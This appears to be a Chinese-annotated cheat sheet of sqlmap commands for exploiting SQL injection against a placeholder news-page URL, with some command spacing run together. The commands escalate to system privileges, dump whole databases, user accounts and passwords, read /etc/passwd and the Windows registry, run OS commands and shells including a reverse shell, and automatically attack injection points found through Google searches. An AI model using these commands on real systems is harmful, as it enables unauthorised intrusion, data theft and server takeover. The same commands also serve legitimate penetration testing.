sqlmap/sqlmap.py -u "http://url/news?id=1" --udf-inject #导入用户自定义函数(获取系统权限!) python sqlmap/sqlmap.py -u "http://url/news?id=1" --dump-all --exclude-sysdbs -v 0 #列出当前库所有表 python sqlmap/sqlmap.py -u "http://url/news?id=1" --union-cols #union 查询表记录 python sqlmap/sqlmap.py -u "http://url/news?id=1" --cookie "COOKIE_VALUE" #cookie注入 python sqlmap/sqlmap.py -u "http://url/news?id=1" -b #获取banner信息 python sqlmap/sqlmap.py -u "http://url/news?id=1" --data "id=3" #post注入 python sqlmap/sqlmap.py -u "http://url/news?id=1" -v 1 -f #指纹判别数据库类型 python sqlmap/sqlmap.py -u "http://url/news?id=1" --proxy"http://127.0.0.1:8118" #代理注入 python sqlmap/sqlmap.py -u "http://url/news?id=1"--string"STRING_ON_TRUE_PAGE" #指定关键词 python sqlmap/sqlmap.py -u "http://url/news?id=1" --sql-shell #执行指定sql命令 python sqlmap/sqlmap.py -u "http://url/news?id=1" --file /etc/passwd python sqlmap/sqlmap.py -u "http://url/news?id=1" --os-cmd=whoami #执行系统命令 python sqlmap/sqlmap.py -u "http://url/news?id=1" --os-shell #系统交互 shellpython sqlmap/sqlmap.py -u "http://url/news?id=1" --os-pwn #反弹shell python sqlmap/sqlmap.py -u "http://url/news?id=1" --reg-read #读取win系统注册表 python sqlmap/sqlmap.py -u "http://url/news?id=1" --dbs-o "sqlmap.log" #保存进度 python sqlmap/sqlmap.py -u "http://url/news?id=1" --dbs -o "sqlmap.log" --resume #恢复已保存进度sqlmap -g "google语法" --dump-all --batch #google搜索注入点自动 跑出所有字段攻击实例 python sqlmap/sqlmap.py -u "http://url/news?id=1&Submit=Submit" --cookie="PHPSESSID=41aa833e6d0d28f489ff1ab5a7531406" --string="Surname" --dbms=mysql --users --password |